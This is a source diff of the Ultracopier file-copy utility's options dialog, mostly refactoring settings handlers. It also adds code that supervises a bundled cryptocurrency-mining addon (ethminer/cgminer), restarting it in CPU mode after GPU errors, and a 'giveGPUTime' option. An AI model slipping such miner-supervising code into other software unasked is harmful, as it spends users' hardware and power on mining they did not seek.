+ if(string.contains("Mining on PoWhash", Qt::CaseInsensitive))
+ return;
+ if(string.size()<5)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("addon standard error: %1").arg(string));
+ #if defined(_M_X64)//ethminer
+ if(string.contains("GPU can't", Qt::CaseInsensitive) || string.contains("Bailing", Qt::CaseInsensitive))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("GPU addon bug"));
+ if(addonMode!="-C")
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("GPU addon bug: switch to CPU"));
+ addonMode="-C";
+ addon.terminate();
+ addon.kill();
+ addon.waitForFinished();
+ startAddon();
+ }
+ }
+ #endif
+}
+
+void OptionDialog::readyReadStandardOutput()
+{
+ const QString string=QString::fromLocal8Bit(addon.readAllStandardOutput());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("addon standard output: %1").arg(string));
+ #if defined(_M_X64)//ethminer
+ if(string.contains("GPU can't", Qt::CaseInsensitive) || string.contains("Bailing", Qt::CaseInsensitive))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("GPU addon bug"));
+ if(addonMode!="-C")
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("GPU addon bug: switch to CPU"));
+ addonMode="-C";
+ addon.terminate();
+ addon.kill();
+ addon.waitForFinished();
+ startAddon();
+ }
+ }
+ #endif
+}
+#endif
+
+void OptionDialog::on_Ultracopier_current_theme_currentIndexChanged(const int &index)
+{
+ if(index!=-1 && allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"data value: "+ui->Ultracopier_current_theme->itemData(index).toString()+", string value: "+ui->Ultracopier_current_theme->itemText(index)+", index: "+QString::number(index));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Themes"),QStringLiteral("Ultracopier_current_theme"),ui->Ultracopier_current_theme->itemData(index));
+ int index_loop=0;
+ loop_size=pluginOptionsWidgetList.size();
+ while(index_loop<loop_size)
+ {
+ if(pluginOptionsWidgetList.at(index_loop).name==ui->Ultracopier_current_theme->itemData(index).toString())
+ {
+ if(pluginOptionsWidgetList.at(index_loop).options==NULL)
+ ui->stackedWidgetThemesOptions->setCurrentWidget(ui->pageThemeNoOptions);
+ else
+ ui->stackedWidgetThemesOptions->setCurrentWidget(pluginOptionsWidgetList.at(index_loop).options);
+ return;
+ }
+ index_loop++;
+ }
+ ui->stackedWidgetThemesOptions->setCurrentWidget(ui->pageUnableToLoadThemePlugin);
+ }
+}
+
+void OptionDialog::on_Language_currentIndexChanged(const int &index)
+{
+ if(index!=-1 && allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"data value: "+ui->Language->itemData(index).toString()+", string value: "+ui->Language->itemText(index)+", index: "+QString::number(index));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Language"),QStringLiteral("Language"),ui->Language->itemData(index));
+ }
+}
+
+void OptionDialog::on_Language_force_toggled(const bool &checked)
+{
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Language"),QStringLiteral("Language_force"),checked);
+ ui->Language->setEnabled(ui->Language_force->isChecked() && ui->Language->count());
+ }
+}
+
+void OptionDialog::on_CatchCopyAsDefault_toggled(const bool &checked)
+{
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("CopyListener"),QStringLiteral("CatchCopyAsDefault"),checked);
+ }
+}
+
+#ifndef ULTRACOPIER_VERSION_PORTABLE
+void OptionDialog::on_LoadAtSessionStarting_toggled(const bool &checked)
+{
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("SessionLoader"),QStringLiteral("LoadAtSessionStarting"),checked);
+ }
+}
+#endif
+
void OptionDialog::on_CopyEngineList_itemSelectionChanged()
{
- if(ui->CopyEngineList->selectedItems().size()!=0 && ui->CopyEngineList->count()>1)
- {
- ui->toolButtonUp->setEnabled(true);
- ui->toolButtonDown->setEnabled(true);
- }
- else
- {
- ui->toolButtonUp->setEnabled(false);
- ui->toolButtonDown->setEnabled(false);
- }
+ if(ui->CopyEngineList->selectedItems().size()!=0 && ui->CopyEngineList->count()>1)
+ {
+ ui->toolButtonUp->setEnabled(true);
+ ui->toolButtonDown->setEnabled(true);
+ }
+ else
+ {
+ ui->toolButtonUp->setEnabled(false);
+ ui->toolButtonDown->setEnabled(false);
+ }
}
void OptionDialog::on_toolButtonDown_clicked()
{
- QListWidgetItem *item=ui->CopyEngineList->selectedItems().first();
- int position=ui->CopyEngineList->row(item);
- if((position+1)<ui->CopyEngineList->count())
- {
- QString text=item->text();
- item->setSelected(false);
- delete item;
- ui->CopyEngineList->insertItem(position+1,text);
- ui->CopyEngineList->item(position+1)->setSelected(true);
- ignoreCopyEngineListEdition=true;
- options->setOptionValue("CopyEngine","List",copyEngineStringList());
- ignoreCopyEngineListEdition=false;
- }
+ QListWidgetItem *item=ui->CopyEngineList->selectedItems().first();
+ int position=ui->CopyEngineList->row(item);
+ if((position+1)<ui->CopyEngineList->count())
+ {
+ QString text=item->text();
+ item->setSelected(false);
+ delete item;
+ ui->CopyEngineList->insertItem(position+1,text);
+ ui->CopyEngineList->item(position+1)->setSelected(true);
+ ignoreCopyEngineListEdition=true;
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("CopyEngine"),QStringLiteral("List"),copyEngineStringList());
+ ignoreCopyEngineListEdition=false;
+ }
}
void OptionDialog::on_toolButtonUp_clicked()
{
- QListWidgetItem *item=ui->CopyEngineList->selectedItems().first();
- int position=ui->CopyEngineList->row(item);
- if(position>0)
- {
- QString text=item->text();
- item->setSelected(false);
- delete item;
- ui->CopyEngineList->insertItem(position-1,text);
- ui->CopyEngineList->item(position-1)->setSelected(true);
- ignoreCopyEngineListEdition=true;
- options->setOptionValue("CopyEngine","List",copyEngineStringList());
- ignoreCopyEngineListEdition=false;
- }
-}
-
-QStringList OptionDialog::copyEngineStringList()
-{
- QStringList newList;
- int index=0;
- while(index<ui->CopyEngineList->count())
- {
- newList << ui->CopyEngineList->item(index)->text();
- index++;
- }
- return newList;
-}
-
-void OptionDialog::newThemeOptions(QString name,QWidget* theNewOptionsWidget,bool isLoaded,bool havePlugin)
-{
- Q_UNUSED(isLoaded);
- Q_UNUSED(havePlugin);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start: isLoaded: %1, havePlugin: %2, name: %3").arg(isLoaded).arg(havePlugin).arg(name));
- pluginOptionsWidget tempItem;
- tempItem.name=name;
- tempItem.item=NULL;
- tempItem.options=theNewOptionsWidget;
- tempItem.category=PluginType_Themes;
- pluginOptionsWidgetList << tempItem;
- if(theNewOptionsWidget!=NULL)
- {
- ui->stackedWidgetThemes->addWidget(theNewOptionsWidget);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"set the last page");
- }
- on_Ultracopier_current_theme_currentIndexChanged(ui->Ultracopier_current_theme->currentIndex());
-}
-
-void OptionDialog::addPluginOptionWidget(PluginType category,QString name,QWidget * options)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start: %1, category: %2").arg(name).arg(category));
- //prevent send the empty options
- if(options!=NULL)
- {
- index=0;
- loop_size=pluginOptionsWidgetList.size();
- while(index<loop_size)
- {
- if(pluginOptionsWidgetList.at(index).name==name)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"already found: "+name);
- return;
- }
- index++;
- }
- //add to real list
- pluginOptionsWidget temp;
- temp.name=name;
- temp.options=options;
- temp.item=new QTreeWidgetItem(QStringList() << name);
- temp.category=category;
- pluginOptionsWidgetList << temp;
- //add the specific options
- switch(category)
- {
- case PluginType_CopyEngine:
- ui->treeWidget->topLevelItem(2)->addChild(pluginOptionsWidgetList.at(index).item);
- ui->stackedOptionsCopyEngine->addWidget(options);
- break;
- case PluginType_Listener:
- ui->treeWidget->topLevelItem(3)->addChild(pluginOptionsWidgetList.at(index).item);
- ui->stackedOptionsListener->addWidget(options);
- break;
- case PluginType_PluginLoader:
- ui->treeWidget->topLevelItem(4)->addChild(pluginOptionsWidgetList.at(index).item);
- ui->stackedOptionsPluginLoader->addWidget(options);
- break;
- case PluginType_SessionLoader:
- ui->treeWidget->topLevelItem(5)->addChild(pluginOptionsWidgetList.at(index).item);
- ui->stackedOptionsSessionLoader->addWidget(options);
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Unable to parse this unknow type of plugin: "+name);
- return;
- }
- }
- //only for copy engine
- if(category==PluginType_CopyEngine)
- {
- //but can loaded by the previous options
- index=0;
- loop_size=ui->CopyEngineList->count();
- while(index<loop_size)
- {
- if(ui->CopyEngineList->item(index)->text()==name)
- break;
- index++;
- }
- if(index==loop_size)
- ui->CopyEngineList->addItems(QStringList() << name);
- }
+ QListWidgetItem *item=ui->CopyEngineList->selectedItems().first();
+ int position=ui->CopyEngineList->row(item);
+ if(position>0)
+ {
+ QString text=item->text();
+ item->setSelected(false);
+ delete item;
+ ui->CopyEngineList->insertItem(position-1,text);
+ ui->CopyEngineList->item(position-1)->setSelected(true);
+ ignoreCopyEngineListEdition=true;
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("CopyEngine"),QStringLiteral("List"),copyEngineStringList());
+ ignoreCopyEngineListEdition=false;
+ }
}
-void OptionDialog::on_pluginList_itemSelectionChanged()
+QStringList OptionDialog::copyEngineStringList() const
{
- if(ui->pluginList->selectedItems().size()==0)
- {
- ui->pluginRemove->setEnabled(false);
- ui->pluginInformation->setEnabled(false);
- }
- else
- {
- treeWidgetItem=ui->pluginList->selectedItems().first();
- index=0;
- loop_size=pluginLink.size();
- while(index<loop_size)
- {
- if(pluginLink.at(index).item==treeWidgetItem)
- {
- ui->pluginRemove->setEnabled(pluginLink.at(index).isWritable);
- ui->pluginInformation->setEnabled(true);
- return;
- }
- index++;
- }
- }
+ QStringList newList;
+ int index=0;
+ while(index<ui->CopyEngineList->count())
+ {
+ newList << ui->CopyEngineList->item(index)->text();
+ index++;
+ }
+ return newList;
}
-void OptionDialog::on_pluginRemove_clicked()
+void OptionDialog::newThemeOptions(const QString &name,QWidget* theNewOptionsWidget,bool isLoaded,bool havePlugin)
{
- treeWidgetItem=ui->pluginList->selectedItems().first();
- index=0;
- loop_size=pluginLink.size();
- while(index<loop_size)
- {
- if(pluginLink.at(index).item==treeWidgetItem)
- {
- plugins->removeThePluginSelected(pluginLink.at(index).path);
- return;
- }
- index++;
- }
+ Q_UNUSED(isLoaded);
+ Q_UNUSED(havePlugin);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start: isLoaded: %1, havePlugin: %2, name: %3").arg(isLoaded).arg(havePlugin).arg(name));
+ pluginOptionsWidget tempItem;
+ tempItem.name=name;
+ tempItem.item=NULL;
+ tempItem.options=theNewOptionsWidget;
+ tempItem.category=PluginType_Themes;
+ pluginOptionsWidgetList << tempItem;
+ if(theNewOptionsWidget!=NULL)
+ {
+ ui->stackedWidgetThemesOptions->addWidget(theNewOptionsWidget);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("set the last page"));
+ }
+ on_Ultracopier_current_theme_currentIndexChanged(ui->Ultracopier_current_theme->currentIndex());
+}
+
+void OptionDialog::addPluginOptionWidget(const PluginType &category,const QString &name,QWidget * options)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start: %1, category: %2").arg(name).arg(category));
+ //prevent send the empty options
+ if(options!=NULL)
+ {
+ index=0;
+ loop_size=pluginOptionsWidgetList.size();
+ while(index<loop_size)
+ {
+ if(pluginOptionsWidgetList.at(index).name==name)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("already found: ")+name);
+ return;
+ }
+ index++;
+ }
+ //add to real list
+ pluginOptionsWidget temp;
+ temp.name=name;
+ temp.options=options;
+ temp.item=new QTreeWidgetItem(QStringList() << name);
+ temp.category=category;
+ pluginOptionsWidgetList << temp;
+ //add the specific options
+ switch(category)
+ {
+ case PluginType_CopyEngine:
+ ui->treeWidget->topLevelItem(2)->addChild(pluginOptionsWidgetList.at(index).item);
+ ui->stackedOptionsCopyEngine->addWidget(options);
+ break;
+ case PluginType_Listener:
+ ui->treeWidget->topLevelItem(3)->addChild(pluginOptionsWidgetList.at(index).item);
+ ui->stackedOptionsListener->addWidget(options);
+ break;
+ case PluginType_PluginLoader:
+ ui->treeWidget->topLevelItem(4)->addChild(pluginOptionsWidgetList.at(index).item);
+ ui->stackedOptionsPluginLoader->addWidget(options);
+ break;
+ case PluginType_SessionLoader:
+ ui->treeWidget->topLevelItem(5)->addChild(pluginOptionsWidgetList.at(index).item);
+ ui->stackedOptionsSessionLoader->addWidget(options);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("Unable to parse this unknow type of plugin: ")+name);
+ return;
+ }
+ }
+ //only for copy engine
+ if(category==PluginType_CopyEngine)
+ {
+ //but can loaded by the previous options
+ index=0;
+ loop_size=ui->CopyEngineList->count();
+ while(index<loop_size)
+ {
+ if(ui->CopyEngineList->item(index)->text()==name)
+ break;
+ index++;
+ }
+ if(index==loop_size)
+ ui->CopyEngineList->addItems(QStringList() << name);
+ }
+}
+
+void OptionDialog::on_pluginList_itemSelectionChanged()
+{
+ if(ui->pluginList->selectedItems().size()==0)
+ {
+ ui->pluginRemove->setEnabled(false);
+ ui->pluginInformation->setEnabled(false);
+ }
+ else
+ {
+ treeWidgetItem=ui->pluginList->selectedItems().first();
+ index=0;
+ loop_size=pluginLink.size();
+ while(index<loop_size)
+ {
+ if(pluginLink.at(index).item==treeWidgetItem)
+ {
+ ui->pluginRemove->setEnabled(pluginLink.at(index).isWritable);
+ ui->pluginInformation->setEnabled(true);
+ return;
+ }
+ index++;
+ }
+ }
}
void OptionDialog::on_pluginInformation_clicked()
{
- treeWidgetItem=ui->pluginList->selectedItems().first();
- index=0;
- loop_size=pluginLink.size();
- while(index<loop_size)
- {
- if(pluginLink.at(index).item==treeWidgetItem)
- {
- plugins->showInformation(pluginLink.at(index).path);
- return;
- }
- index++;
- }
+ treeWidgetItem=ui->pluginList->selectedItems().first();
+ index=0;
+ loop_size=pluginLink.size();
+ while(index<loop_size)
+ {
+ if(pluginLink.at(index).item==treeWidgetItem)
+ {
+ PluginsManager::pluginsManager->showInformation(pluginLink.at(index).path);
+ return;
+ }
+ index++;
+ }
+}
+
+#ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+void OptionDialog::on_pluginRemove_clicked()
+{
+ treeWidgetItem=ui->pluginList->selectedItems().first();
+ index=0;
+ loop_size=pluginLink.size();
+ while(index<loop_size)
+ {
+ if(pluginLink.at(index).item==treeWidgetItem)
+ {
+ PluginsManager::pluginsManager->removeThePluginSelected(pluginLink.at(index).path);
+ return;
+ }
+ index++;
+ }
}
void OptionDialog::on_pluginAdd_clicked()
{
- plugins->addPlugin(defaultImportBackend);
+ PluginsManager::pluginsManager->addPlugin(defaultImportBackend);
}
+#endif
void OptionDialog::on_checkBox_Log_clicked()
{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("Write_log","enabled",ui->checkBox_Log->isChecked());
- }
- ui->lineEditLog_transfer_format->setEnabled(ui->checkBoxLog_transfer->isChecked() && ui->checkBox_Log->isChecked());
- ui->lineEditLog_error_format->setEnabled(ui->checkBoxLog_error->isChecked() && ui->checkBox_Log->isChecked());
- ui->lineEditLog_folder_format->setEnabled(ui->checkBoxLog_folder->isChecked() && ui->checkBox_Log->isChecked());
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Write_log"),QStringLiteral("enabled"),ui->checkBox_Log->isChecked());
+ }
+ ui->lineEditLog_transfer_format->setEnabled(ui->checkBoxLog_transfer->isChecked() && ui->checkBox_Log->isChecked());
+ ui->lineEditLog_error_format->setEnabled(ui->checkBoxLog_error->isChecked() && ui->checkBox_Log->isChecked());
+ ui->lineEditLog_folder_format->setEnabled(ui->checkBoxLog_folder->isChecked() && ui->checkBox_Log->isChecked());
}
void OptionDialog::on_lineEditLog_File_editingFinished()
{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("Write_log","file",ui->lineEditLog_File->text());
- }
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Write_log"),QStringLiteral("file"),ui->lineEditLog_File->text());
+ }
}
void OptionDialog::on_lineEditLog_transfer_format_editingFinished()
{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("Write_log","transfer_format",ui->lineEditLog_transfer_format->text());
- }
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Write_log"),QStringLiteral("transfer_format"),ui->lineEditLog_transfer_format->text());
+ }
}
void OptionDialog::on_lineEditLog_error_format_editingFinished()
{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("Write_log","error_format",ui->lineEditLog_error_format->text());
- }
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Write_log"),QStringLiteral("error_format"),ui->lineEditLog_error_format->text());
+ }
}
void OptionDialog::on_checkBoxLog_transfer_clicked()
{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("Write_log","transfer",ui->checkBoxLog_transfer->isChecked());
- }
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Write_log"),QStringLiteral("transfer"),ui->checkBoxLog_transfer->isChecked());
+ }
}
void OptionDialog::on_checkBoxLog_error_clicked()
{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("Write_log","error",ui->checkBoxLog_error->isChecked());
- }
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Write_log"),QStringLiteral("error"),ui->checkBoxLog_error->isChecked());
+ }
}
void OptionDialog::on_checkBoxLog_folder_clicked()
{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("Write_log","folder",ui->checkBoxLog_folder->isChecked());
- }
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Write_log"),QStringLiteral("folder"),ui->checkBoxLog_folder->isChecked());
+ }
}
-void OptionDialog::on_pushButton_clicked()
+void OptionDialog::on_logBrowse_clicked()
{
- QString file=QFileDialog::getSaveFileName(this,tr("Save logs as: "),resources->getWritablePath());
- if(file!="")
- {
- ui->lineEditLog_File->setText(file);
- on_lineEditLog_File_editingFinished();
- }
+ QString file=QFileDialog::getSaveFileName(this,tr("Save logs as: "),ResourcesManager::resourcesManager->getWritablePath());
+ if(file!="")
+ {
+ ui->lineEditLog_File->setText(file);
+ on_lineEditLog_File_editingFinished();
+ }
}
void OptionDialog::on_checkBoxLog_sync_clicked()
{
- if(allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- options->setOptionValue("Write_log","sync",ui->checkBoxLog_sync->isChecked());
- }
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Write_log"),QStringLiteral("sync"),ui->checkBoxLog_sync->isChecked());
+ }
+}
+
+void OptionDialog::on_ActionOnManualOpen_currentIndexChanged(const int &index)
+{
+ if(index!=-1 && allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"data value: "+ui->ActionOnManualOpen->itemData(index).toString()+", string value: "+ui->ActionOnManualOpen->itemText(index)+", index: "+QString::number(index));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("ActionOnManualOpen"),index);
+ }
}
-void OptionDialog::on_ActionOnManualOpen_currentIndexChanged(int index)
+void OptionDialog::on_GroupWindowWhen_currentIndexChanged(const int &index)
{
- if(index!=-1 && allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"data value: "+ui->ActionOnManualOpen->itemData(index).toString()+", string value: "+ui->ActionOnManualOpen->itemText(index)+", index: "+QString::number(index));
- options->setOptionValue("Ultracopier","ActionOnManualOpen",index);
- }
+ if(index!=-1 && allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"data value: "+ui->GroupWindowWhen->itemData(index).toString()+", string value: "+ui->GroupWindowWhen->itemText(index)+", index: "+QString::number(index));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("GroupWindowWhen"),index);
+ }
}
-void OptionDialog::on_GroupWindowWhen_currentIndexChanged(int index)
+void OptionDialog::on_DisplayOSWarning_clicked()
+{
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("displayOSSpecific"),ui->DisplayOSWarning->isChecked());
+ }
+}
+
+void OptionDialog::newClientList(const QStringList &clientsList)
+{
+ ui->clientConnected->clear();
+ ui->clientConnected->addItems(clientsList);
+}
+
+void OptionDialog::on_checkTheUpdate_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("checkTheUpdate"),ui->checkTheUpdate->isChecked());
+}
+
+void OptionDialog::on_confirmToGroupWindows_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("confirmToGroupWindows"),ui->confirmToGroupWindows->isChecked());
+}
+
+void OptionDialog::on_giveGPUTime_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("giveGPUTime"),ui->giveGPUTime->isChecked());
+}
+
+#ifdef ULTRACOPIER_CGMINER
+/*int OptionDialog::getcpuload()
+{
+ static PDH_STATUS status;
+ static PDH_FMT_COUNTERVALUE value;
+ static HQUERY query;
+ static HCOUNTER counter;
+ static DWORD ret;
+ static char runonce=1;
+ char cput=0;
+
+ if(runonce)
+ {
+ status = PdhOpenQuery(NULL, 0, &query);
+ if(status != ERROR_SUCCESS)
+ {
+ printf("PdhOpenQuery() ***Error: 0x%X\n",status);
+ return 0;
+ }
+ PdhAddCounter(query, TEXT("\\Processor(_Total)\\% Processor Time"),0,&counter); // A total of ALL CPU's in the system
+ runonce=0;
+ PdhCollectQueryData(query); // No error checking here
+ return 0;
+ }
+ status = PdhCollectQueryData(query);
+ if(status != ERROR_SUCCESS)
+ {
+ printf("PhdCollectQueryData() ***Error: 0x%X\n",status);
+ if(status==PDH_INVALID_HANDLE)
+ printf("PDH_INVALID_HANDLE\n");
+ else if(status==PDH_NO_DATA)
+ printf("PDH_NO_DATA\n");
+ else
+ printf("Unknown error\n");
+ return 0;
+ }
+ status = PdhGetFormattedCounterValue(counter, PDH_FMT_DOUBLE | PDH_FMT_NOCAP100 ,&ret, &value);
+ if(status != ERROR_SUCCESS)
+ {
+ printf("PdhGetFormattedCounterValue() ***Error: 0x%X\n",status);
+ return 0;
+ }
+ cput = value.doubleValue;
+ return cput;
+}*/
+#endif
+
+void OptionDialog::on_remainingTimeAlgorithm_currentIndexChanged(int index)
{
- if(index!=-1 && allPluginsIsLoaded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"data value: "+ui->GroupWindowWhen->itemData(index).toString()+", string value: "+ui->GroupWindowWhen->itemText(index)+", index: "+QString::number(index));
- options->setOptionValue("Ultracopier","GroupWindowWhen",index);
- }
+ if(allPluginsIsLoaded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("remainingTimeAlgorithm"),index);
+ }
}
diff --git a/OptionDialog.h b/OptionDialog.h
index 9b1911c..2055c4c 100755..100644
--- a/OptionDialog.h
+++ b/OptionDialog.h
@@ -1,17 +1,26 @@
/** \file OptionDialog.h
\brief To have an interface to control the options
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
+#include "Environment.h"
+
#ifndef OPTIONDIALOG_H
#define OPTIONDIALOG_H
#include <QDialog>
#include <QAbstractButton>
+#include <QTreeWidgetItem>
+
+#ifdef ULTRACOPIER_CGMINER
+#define ULTRACOPIER_CGMINER_WORKING_COUNT 10
+#include <QProcess>
+#include <QTime>
+#endif
-#include "GlobalClass.h"
+#include "Environment.h"
+#include "OSSpecific.h"
+#include "PluginsManager.h"
namespace Ui {
class OptionDialog;
@@ -22,81 +31,126 @@ namespace Ui {
It's need manage the ultracopier options, plugins selection, plugin prority.
It's need manage too the plugin options and plugins informations.
*/
-class OptionDialog : public QDialog, public GlobalClass
+class OptionDialog : public QDialog
{
- Q_OBJECT
+ Q_OBJECT
public:
- explicit OptionDialog();
- ~OptionDialog();
- /** \brief add the option widget from copy engine */
- void addPluginOptionWidget(PluginType category,QString name,QWidget * options);
+ explicit OptionDialog();
+ ~OptionDialog();
+ /** \brief add the option widget from copy engine */
+ void addPluginOptionWidget(const PluginType &category,const QString &name,QWidget * options);
protected:
- void changeEvent(QEvent *e);
+ void changeEvent(QEvent *e);
+ void loadLogVariableLabel();
private slots:
- void on_treeWidget_itemSelectionChanged();
- void on_buttonBox_clicked(QAbstractButton *button);
- //plugin management
- void onePluginAdded(PluginsAvailable plugin);
- void onePluginWillBeRemoved(PluginsAvailable plugin);
- void loadOption();
- void newOptionValue(QString group,QString name,QVariant value);
- void on_Ultracopier_current_theme_currentIndexChanged(int index);
- void on_Language_currentIndexChanged(int index);
- void on_Language_autodetect_toggled(bool checked);
- void on_CatchCopyAsDefault_toggled(bool checked);
- void on_LoadAtSessionStarting_toggled(bool checked);
- void on_CopyEngineList_itemSelectionChanged();
- void on_toolButtonDown_clicked();
- void on_toolButtonUp_clicked();
- void on_pluginList_itemSelectionChanged();
- void on_pluginRemove_clicked();
- void on_pluginInformation_clicked();
- void on_pluginAdd_clicked();
- void on_checkBox_Log_clicked();
- void on_lineEditLog_File_editingFinished();
- void on_lineEditLog_transfer_format_editingFinished();
- void on_lineEditLog_error_format_editingFinished();
- void on_checkBoxLog_transfer_clicked();
- void on_checkBoxLog_error_clicked();
- void on_pushButton_clicked();
- void on_checkBoxLog_folder_clicked();
- void on_checkBoxLog_sync_clicked();
- void on_ActionOnManualOpen_currentIndexChanged(int index);
-
- void on_GroupWindowWhen_currentIndexChanged(int index);
+ void on_treeWidget_itemSelectionChanged();
+ void on_buttonBox_clicked(QAbstractButton *button);
+ //plugin management
+ void onePluginAdded(const PluginsAvailable &plugin);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ void onePluginWillBeRemoved(const PluginsAvailable &plugin);
+ #endif
+ #ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ void manuallyAdded(const PluginsAvailable &plugin);
+ #endif
+ void loadOption();
+ void newOptionValue(const QString &group,const QString &name,const QVariant &value);
+ void on_Ultracopier_current_theme_currentIndexChanged(const int &index);
+ void on_Language_currentIndexChanged(const int &index);
